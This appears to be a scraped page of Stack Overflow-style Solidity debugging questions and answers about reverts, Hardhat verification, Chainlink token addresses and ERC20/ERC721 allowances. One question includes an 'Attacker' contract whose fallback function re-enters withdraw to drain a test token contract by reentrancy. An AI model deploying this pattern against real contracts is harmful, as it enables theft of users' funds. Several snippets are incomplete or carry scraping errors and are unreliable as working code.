"Error: Returned error: VM Exception while processing transaction: revert" - solidity

I am new to Blockchain Technology. I am following the Dapp University tutorial, when I am trying to test the sellTokens function it gives me the "Error: Returned error: VM Exception while processing transaction: revert". I think I have successfully implemented the approve function so why does it show the following error
Following are the required files you would need to review the project
Ethswap.sol
pragma solidity ^0.5.0;
import "./Token.sol";
contract Ethswap {
string public name = "Ethswap Instant Exchange";
Token public token;
uint public rate = 100;
event TokenPurchased(
address account,
address token,
uint amount,
uint rate
);
event TokenSold(
address account,
address token,
uint amount,
uint rate
);
constructor(Token _token) public {
token = _token;
}
function buytokens() public payable {
// Calculate the no of tokens to buy
uint tokenAmount = msg.value * rate;
// require Ethswap has enough balance to perform transfer of tokens
require(token.balanceOf(address(this)) >= tokenAmount);
token.transfer(msg.sender, tokenAmount);
// Emit an event
emit TokenPurchased(msg.sender, address(token), tokenAmount, rate);
}
function sellTokens(uint256 _amount) public payable {
//Calculate amoutn of ether to redeem
uint etherAmount = _amount / rate;
// require Ethswap has enough ether to perform transfer
require(address(this).balance >= etherAmount);
//Perform Sale
token.transferFrom(msg.sender, address(this), _amount);
msg.sender.transfer(etherAmount);
//Emit an event
emit TokenSold(msg.sender, address(token), _amount, rate);
}
}
Following is the smart contract code for the Dapp Token
Token.sol
pragma solidity ^0.5.0;
contract Token {
string public name = "DApp Token";
string public symbol = "DAPP";
uint256 public totalSupply = 1000000000000000000000000; // 1 million tokens
uint8 public decimals = 18;
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
constructor() public {
balanceOf[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= balanceOf[_from]);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
}
Following is the test javascript code for testing the smart contract
Ethswap.test.js
List item
const { assert } = require("chai")
const { default: Web3 } = require("web3")
const Token = artifacts.require("Token")
const Ethswap = artifacts.require("Ethswap")
require("chai")
.use(require("chai-as-promised"))
.should()
function tokens(n) {
return web3.utils.toWei(n, "ether")
}
contract("Ethswap", ([deployer, investor]) => {
let token
let ethSwap
before(async () => {
token = await Token.new()
ethSwap = await Ethswap.new(token.address)
await token.transfer(ethSwap.address, tokens("1000000"))
})
describe("Token Deployment", async () => {
it("contract has a name", async () => {
let token = await Token.new()
const name = await token.name()
assert.equal(name, "DApp Token")
})
})
describe("EthSwap Deployment", async () => {
it("contract has a name", async () => {
let ethSwap = await Ethswap.new(token.address)
const name = await ethSwap.name()
assert.equal(name, "Ethswap Instant Exchange")
})
it("contract has tokens", async () => {
let balance = await token.balanceOf(ethSwap.address)
assert.equal(balance.toString(), tokens("1000000"))
})
})
describe("TokenPurchased", async () => {
it("Details of the investor", async () => {
let result
before(async () => {
result = await ethSwap.buytokens({from: investor, value: web3.utils.toWei("1", "ether"),
})
//Check investor token balance after purchase
let investorBalance = await token.balanceOf(investor)
assert.equal(investorBalance.toString(), token("100"))
//Check ethswap balance after purchase
let ethSwapBalance;
ethSwapBalance = await token.balanceOf(ethSwap.address)
assert.equal(ethSwapBalance.toString(), tokens("999900"))
ethSwapBalance = await web3.eth.getBalance(ethSwap.address)
assert.equal(ethSwapBalance.toString(), web3.utils.toWei("1", "Ether"))
const event = result.logs[0].args
assert.equal(event.account, investor)
assert.equal(event.token, token.address)
assert.equal(event.amount.toString(), tokens("100").toString())
assert.equal(event.rate.toString(), "100")
})
})
})
describe("SellTokens()", async () => {
let result
before(async () => {
//Investor must approve token before purchase
await token.approve(ethSwap.address, tokens('100'))
// Investor sells token
result = await ethSwap.sellTokens(tokens('100'), { from : investor })
})
it("Allows user to instantly sell tokens", async () => {})
})
})

Related

NomicLabsHardhatPluginError: The constructor for contracts/FundMe.sol:FundMe has 1 parameters but 0 arguments were provided instead

I'm trying to verify and submit my contract source code to etherscan using a headset, but I'm getting the following error and I don't understand how to solve it. I've read through the code and can't figure out what I'm doing wrong. Please can anyone advise?
The error that I am getting when I run:
NomicLabsHardhatPluginError: The constructor for contracts/FundMe.sol:FundMe has 1 parameters
but 0 arguments were provided instead.
heres all the code FundMe.sol code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
import "#chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
import "./PriceConverter.sol";
error NotOwner();
contract FundMe {
using PriceConverter for uint256;
mapping(address => uint256) public addressToAmountFunded;
address[] public funders;
address public /* immutable */ i_owner;
uint256 public constant MINIMUM_USD = 50 * 10 ** 18;
AggregatorV3Interface public priceFeed;
constructor(address priceFeedAddress) {
i_owner = msg.sender;
priceFeed = AggregatorV3Interface(priceFeedAddress);
}
function fund() public payable {
require(msg.value.getConversionRate(priceFeed) >= MINIMUM_USD, "You need to spend more ETH!");
addressToAmountFunded[msg.sender] += msg.value;
funders.push(msg.sender);
}
modifier onlyOwner {
if (msg.sender != i_owner) revert NotOwner();
_;
}
function withdraw() payable onlyOwner public {
for (uint256 funderIndex=0; funderIndex < funders.length; funderIndex++){
address funder = funders[funderIndex];
addressToAmountFunded[funder] = 0;
}
funders = new address[](0);
(bool callSuccess, ) = payable(msg.sender).call{value: address(this).balance}("");
require(callSuccess, "Call failed");
}
fallback() external payable {
fund();
}
receive() external payable {
fund();
}
}
and also the 01-deploy-fund-me.js to see the code of verify
const { getNamedAccounts, deployments, network } = require("hardhat")
const { networkConfig, developmentChains } = require("../helper-hardhat-config")
const { verify } = require("../utils/verify")
module.exports = async ({ getNamedAccounts, deployments }) => {
const { deploy, log } = deployments
const { deployer } = await getNamedAccounts()
const chainId = network.config.chainId
let ethUsdPriceFeedAddress
if (chainId == 31337) {
const ethUsdAggregator = await deployments.get("MockV3Aggregator")
ethUsdPriceFeedAddress = ethUsdAggregator.address
} else {
ethUsdPriceFeedAddress = networkConfig[chainId]["ethUsdPriceFeed"]
}
log("----------------------------------------------------")
log("Deploying FundMe and waiting for confirmations...")
const fundMe = await deploy("FundMe", {
from: deployer,
args: [ethUsdPriceFeedAddress],
log: true,
// we need to wait if on a live network so we can verify properly
waitConfirmations: network.config.blockConfirmations || 1,
})
//log("----------------------------------------------------")
log(`FundMe deployed at ${fundMe.address}`)
if (
!developmentChains.includes(network.name) &&
process.env.ETHERSCAN_API_KEY
) {
await verify(fundMe.address, [ethUsdPriceFeedAddress])
}
log("----------------------------------------------------")
}
module.exports.tags = ["all", "fundme"]
Please help me!

Hardhat test issue. Solidity contract mistake?

I am new to crypto and just exploring Solidity language. I try to make a simple Solidify token contract with some basic functionality. It should transfer the token and update the balance. However when I run the test that supposed to try add to balance functionality, I get this error:
npx hardhat test
No need to generate any newer typings.
MyERC20Contract
when I transfer 10 tokens
1) sould transfer tokens correctly
0 passing (728ms)
1 failing
1) MyERC20Contract
when I transfer 10 tokens
sould transfer tokens correctly:
Error: VM Exception while processing transaction: reverted with reason string 'ERC20: transfer amount exceeds balance'
at ERC20._transfer (contracts/ERC20.sol:49)
at ERC20.transfer (contracts/ERC20.sol:25)
at async HardhatNode._mineBlockWithPendingTxs (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:1773:23)
at async HardhatNode.mineBlock (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:466:16)
at async EthModule._sendTransactionAndReturnHash (node_modules/hardhat/src/internal/hardhat-network/provider/modules/eth.ts:1504:18)
at async HardhatNetworkProvider.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:118:18)
at async EthersProviderWrapper.send (node_modules/#nomiclabs/hardhat-ethers/src/internal/ethers-provider-wrapper.ts:13:20)
Do I make some mistake I'm not aware of?
My test file:
import { SignerWithAddress } from "#nomiclabs/hardhat-ethers/signers";
import { expect } from "chai";
import { ethers } from "hardhat";
import { ERC20 } from "../typechain";
describe("MyERC20Contract", function() {
let MyERC20Contract: ERC20;
let someAddress: SignerWithAddress;
let someOtherAddress: SignerWithAddress;
beforeEach(async function() {
const ERC20ContractFactory = await ethers.getContractFactory("ERC20");
MyERC20Contract = await ERC20ContractFactory.deploy("Hello","SYM");
await MyERC20Contract.deployed();
someAddress = (await ethers.getSigners())[1];
someOtherAddress = (await ethers.getSigners())[2];
});
describe("When I have 10 tokens", function() {
beforeEach(async function() {
await MyERC20Contract.transfer(someAddress.address, 10);
});
});
describe("when I transfer 10 tokens", function() {
it("sould transfer tokens correctly", async function() {
await MyERC20Contract
.connect(someAddress)
.transfer(someOtherAddress.address, 10);
expect(
await MyERC20Contract.balanceOf(someOtherAddress.address)
).to.equal(10);
});
});
});
Mys .sol contract:
//SPDX-License-Identifier: Unlicense: MIT
pragma solidity ^0.8.0;
contract ERC20 {
uint256 public totalSupply;
string public name;
string public symbol;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
constructor(string memory name_, string memory symbol_) {
name = name_;
symbol = symbol_;
_mint(msg.sender, 100e18);
}
function decimals() external pure returns (uint8) {
return 18;
}
function transfer(address recipient, uint256 amount) external returns (bool) {
return _transfer(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
uint256 currentAllowance = allowance[sender][msg.sender];
require(currentAllowance >= amount, "ERC20: Transfer amount exceeds allowance" ) ;
allowance[sender][msg.sender] = currentAllowance - amount;
return _transfer(sender, recipient, amount);
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(recipient != address(0), "ERC20: transfer to zero address");
uint256 senderBalance = balanceOf[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
balanceOf[sender] = senderBalance - amount;
balanceOf[recipient] += amount;
return true;
}
function _mint(address to, uint256 amount) internal {
require(recipient != address(0), "ERC20: transfer to zero address");
totalSupply += amount;
balanceOf[to] +=amount;
}
}
MyERC20Contract = await ERC20ContractFactory.deploy("Hello","SYM");
Since your snippet doesn't specify from which address is the deploying tranaction, the contract is deployed from the first address (index 0).
The 0th address receives the tokens from the constructor, other addresses don't have any tokens.
constructor(string memory name_, string memory symbol_) {
name = name_;
symbol = symbol_;
_mint(msg.sender, 100e18);
}
But then your snippet tries to send tokens from the 2nd address (index 1).
someAddress = (await ethers.getSigners())[1];
it("sould transfer tokens correctly", async function() {
await MyERC20Contract
.connect(someAddress)
.transfer(someOtherAddress.address, 10);
Because the someAddress does not own any tokens, the transaction fails.
Solution: Either fund the someAddress in your Solidity code as well, or send the tokens from the deployer address (currently the only address that has non-zero token balance).
Edit:
There is a beforeEach() in your When I have 10 tokens block, but that's applied only to this specific block - not to the when I transfer 10 tokens block that performs the failed transfer.
So another solution is to move this specific beforeEach() to the when I transfer block but, based on the context, it doesn't seem like a very clean approach. A good practice is to have as few as possible test cases not affecting each other.

What does LINK_TOKEN_POINTER do

I am trying to get chainlink to work on harmony one block chain, I am trying to deploy a testing contract extending chainlinkclient.sol to test out the setup but for some reason it won't deploy. I am wondering if it's because of the LINK_TOKEN_POINTER hardcoded to 0xC89bD4E1632D3A43CB03AAAd5262cbe4038Bc571. Does anyone know what that address is? Is it the same for all the ETH testnets (rinkeby, kovan, etc) and other chains as well?
I am trying to deploy the TestConsumer.sol contract onto the Harmony One chain but am getting an error. I was able to get it to work on Kovan.
I suspect it might be due to the LINK_TOKEN_POINTER. Does anyone know how I can get this to work?
pragma solidity 0.4.24;
import "https://github.com/smartcontractkit/chainlink/evm-contracts/src/v0.4/ChainlinkClient.sol";
import "https://github.com/smartcontractkit/chainlink/evm-contracts/src/v0.4/vendor/Ownable.sol";
contract ATestnetConsumer is ChainlinkClient, Ownable {
uint256 constant private ORACLE_PAYMENT = 1 * LINK;
uint256 public currentPrice;
int256 public changeDay;
bytes32 public lastMarket;
event RequestEthereumPriceFulfilled(
bytes32 indexed requestId,
uint256 indexed price
);
event RequestEthereumChangeFulfilled(
bytes32 indexed requestId,
int256 indexed change
);
event RequestEthereumLastMarket(
bytes32 indexed requestId,
bytes32 indexed market
);
constructor() public Ownable() {
setPublicChainlinkToken();
}
function requestEthereumPrice(address _oracle, string _jobId)
public
onlyOwner
{
Chainlink.Request memory req = buildChainlinkRequest(stringToBytes32(_jobId), this, this.fulfillEthereumPrice.selector);
req.add("get", "https://min-api.cryptocompare.com/data/price?fsym=ETH&tsyms=USD");
req.add("path", "USD");
req.addInt("times", 100);
sendChainlinkRequestTo(_oracle, req, ORACLE_PAYMENT);
}
function requestEthereumChange(address _oracle, string _jobId)
public
onlyOwner
{
Chainlink.Request memory req = buildChainlinkRequest(stringToBytes32(_jobId), this, this.fulfillEthereumChange.selector);
req.add("get", "https://min-api.cryptocompare.com/data/pricemultifull?fsyms=ETH&tsyms=USD");
req.add("path", "RAW.ETH.USD.CHANGEPCTDAY");
req.addInt("times", 1000000000);
sendChainlinkRequestTo(_oracle, req, ORACLE_PAYMENT);
}
function requestEthereumLastMarket(address _oracle, string _jobId)
public
onlyOwner
{
Chainlink.Request memory req = buildChainlinkRequest(stringToBytes32(_jobId), this, this.fulfillEthereumLastMarket.selector);
req.add("get", "https://min-api.cryptocompare.com/data/pricemultifull?fsyms=ETH&tsyms=USD");
string[] memory path = new string[](4);
path[0] = "RAW";
path[1] = "ETH";
path[2] = "USD";
path[3] = "LASTMARKET";
req.addStringArray("path", path);
sendChainlinkRequestTo(_oracle, req, ORACLE_PAYMENT);
}
function fulfillEthereumPrice(bytes32 _requestId, uint256 _price)
public
recordChainlinkFulfillment(_requestId)
{
emit RequestEthereumPriceFulfilled(_requestId, _price);
currentPrice = _price;
}
function fulfillEthereumChange(bytes32 _requestId, int256 _change)
public
recordChainlinkFulfillment(_requestId)
{
emit RequestEthereumChangeFulfilled(_requestId, _change);
changeDay = _change;
}
function fulfillEthereumLastMarket(bytes32 _requestId, bytes32 _market)
public
recordChainlinkFulfillment(_requestId)
{
emit RequestEthereumLastMarket(_requestId, _market);
lastMarket = _market;
}
function getChainlinkToken() public view returns (address) {
return chainlinkTokenAddress();
}
function withdrawLink() public onlyOwner {
LinkTokenInterface link = LinkTokenInterface(chainlinkTokenAddress());
require(link.transfer(msg.sender, link.balanceOf(address(this))), "Unable to transfer");
}
function cancelRequest(
bytes32 _requestId,
uint256 _payment,
bytes4 _callbackFunctionId,
uint256 _expiration
)
public
onlyOwner
{
cancelChainlinkRequest(_requestId, _payment, _callbackFunctionId, _expiration);
}
function stringToBytes32(string memory source) private pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly { // solhint-disable-line no-inline-assembly
result := mload(add(source, 32))
}
}
}
The LINK_TOKEN_POINTER is a contract that is hard-coded with pointers to the LINK token on various chains. This is so that the contract knows which LINK token to use.
For a chain like harmony, the LINK token pointer probably has not been added for that chain.
To get around this, you'll want to manually set the LINK token, like so:
constructor(address _link) public {
if (_link == address(0)) {
setPublicChainlinkToken();
} else {
setChainlinkToken(_link);
}
It looks like there isn't a LINK token on the Harmony chain yet, so you could deploy a dummy LINK token and point the address to that.

Address.call() function not executed when put on train, but work perfectly in JavaScript VM?

I am pretty new in solidity, and this is so weird.
I got this piece of codes working in the JavaScript VM on Remix to get the reentrance attack working.
However, When I run the contract attacker on train, I called the deposit() function in the contract attacker. No money is transfred. I am wondering why it this.
pragma solidity^0.5.0;
contract TestToken {
mapping (address => uint256) balances;
constructor() public {
total = 0;
}
function deposit() public payable returns (bool success) {
if (balances[msg.sender] + msg.value < msg.value) return false;
if (total + msg.value < msg.value) return false;
balances[msg.sender] += msg.value;
total += msg.value;
return true;
}
}
contract Attacker {
// uint256 count;
TestToken token;
uint256 _value;
event logString(uint256, uint256, uint256);
constructor () public payable {
}
function deposit(address _tokenAddress) public payable {
token = TestToken(_tokenAddress);
_value = address(this).balance;
// token.deposit.value(_value)();
_tokenAddress.call.value(address(this).balance)(abi.encode(bytes4(keccak256("deposit()"))));
}
function attack(address _tokenAddress) public {
token = TestToken(_tokenAddress);
token.withdraw(_value);
}
function() external payable {
emit logString(address(this).balance, msg.value, address(token).balance);
if (address(token).balance > msg.value) token.withdraw(msg.value);
}
function getBalance() public view returns(uint) { return address(this).balance; }
function getTestTokenBalance() public view returns(uint) { return address(token).balance; }
}
I spent three days in this problem. It is not about the problem now, I just wondering what kind of a problem can stuck me so long.
If you can point it out, I would say you are smarter than me.Pls
// This line is not working.
_tokenAddress.call.value(address(this).balance)(abi.encode(bytes4(keccak256("deposit()"))));

Openzeppelin ERC20 make revert

my intent is making ERC721 token can transfer by my ERC20 token only
the transfer flow is
Buyer approve ERC20 to Seller.
Seller transfer ERC721 to Buyer.
My ERC721 Token's transfer function transfer ERC20 to Seller from Buyer first, and transfer ERC721 to Buyer from Seller.
revert error occur to ERC20 transfer step.
i try to every single line delete to find revert point.
and i found that.
this is my test code
const token20 = artifacts.require("MyToken20");
const token721 = artifacts.require("MyToken721");
contract("Test", async()=>{
//...
// Buyer token20 approve to Seller
it("Token20 approve", async()=>{
var value = web3.toWei(token721Price, "ether");
await contract20.approve(seller, value, {from:buyer});
var allowed = await contract20.allowance(buyer, seller);
allowed = web3.fromWei(allowed, "ether");
assert.equal(allowed, token721Price);
});
// Seller transfer token721 to Buyer
// token20 transfer to Seller inside of function transferMy721
it("Token721 transfer", async()=>{
var allowed = await contract20.allowance(buyer, seller);
allowed = web3.fromWei(allowed, "ether");
assert.equal(allowed, token721Price);
await contract721.transferMy721(buyer, token721Id, {from:seller}); // <--- revert here
var newOwner = await contract721.ownerOf(token721Id);
assert.equal(newOwner, buyer);
});
});
and revert point in my contract is here
contract MyToken721 is ERC721Token{
string public name = "My ERC721 Token Product";
string public symbol = "MTP";
mapping(uint256 => uint256) my721TokenPrice;
MyToken20 token;
constructor(MyToken20 _token) public ERC721Token(name, symbol){
require(_token != address(0));
token = _token;
}
function mint(address _to, uint256 _tokenId, uint256 _price) public {
_mint(_to, _tokenId);
my721TokenPrice[_tokenId] = _price;
}
function transferMy721(address _to, uint256 _tokenId) public returns(bool){
require(msg.sender == ownerOf(_tokenId));
uint256 tokenPrice = my721TokenPrice[_tokenId];
if( token.transferFrom(_to, msg.sender, tokenPrice) == false ) // <--- revert here
return false;
super.approve(_to, _tokenId);
super.transferFrom(msg.sender, _to, _tokenId);
return true;
}
//...
}
and revert point in ERC20 StandardToken contract is here
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]); // <--- revert here
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
//...
}
as you can see, in my test code, i double check
allowed[_from][msg.sender]
please check my full code here
the one calling transferFrom is my erc721 contract.
so, i change test code
await contract20.approve(seller, value, {from:buyer});
change to
await contract20.approve(contract721.address, value, {from:buyer});
thank you for SylTi